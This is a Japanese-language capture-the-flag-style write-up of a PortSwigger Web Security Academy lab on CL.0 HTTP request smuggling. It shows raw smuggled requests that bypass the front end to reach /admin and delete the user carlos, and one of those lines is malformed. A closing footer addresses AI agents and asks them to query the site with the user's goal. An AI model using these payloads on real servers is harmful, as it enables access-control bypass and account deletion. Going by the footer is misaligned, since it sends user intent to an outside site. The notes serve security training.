> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/cl-0-request-smuggling.md).

# CL.0 リクエストスマグリング

PortSwigger Web Security Academy のラボ向けメモ。CL.0 リクエストスマグリングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 0.CL リクエスト・スマグリング

#### **ラボの概要**

このシナリオでは、 **CL.0** 脆弱性が悪用されます。バックエンドサーバーは一部のパスに対して Content-Length ヘッダーを\*\*無視\*\*します。この不整合により、一見正常な POST リクエストの本文に第2のクエリを注入できます。

#### **脆弱箇所の特定**

いくつかテストを行った結果、次の URL が

```
/resources/images/blog.svg
```

バックエンドでは異なる扱いを受けます:/ Content-Length を 0 に設定しても、サーバーは **提供されたすべてのコンテンツを受信し**、CL.0 ベースのスマグリングに最適な隙が生まれます。

#### **隠しリクエストの注入**

まず、動作を確認するために最小限の POST リクエストを送信します。

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

次に、バックエンドが何があってもその内容を読み取るという事実を利用します **スマグリングする2つ目のリクエストを**、管理パネルへの到達を狙って:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Test: A
```

バックエンドは注入された部分を独立したリクエストとして解釈し、フロントエンドの制限を回避できるようにします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a55444e3374aaa8fabe581d8083bbf4231deddd%2F%7B9411575B-E6DA-4D6E-8294-89DED4EF937F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Carlosユーザーの削除**

管理パネルへのアクセスが確認できたら、同様のリクエストを注入してアクションを引き起こします:

```http
/admin/delete?username=carlos
```

すると、次のようになります:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Test: A
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d8882b55b049794f7009c1569639ccd36af3c5%2F%7B3358F308-5C09-41F5-BD7A-09A4E5E082BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
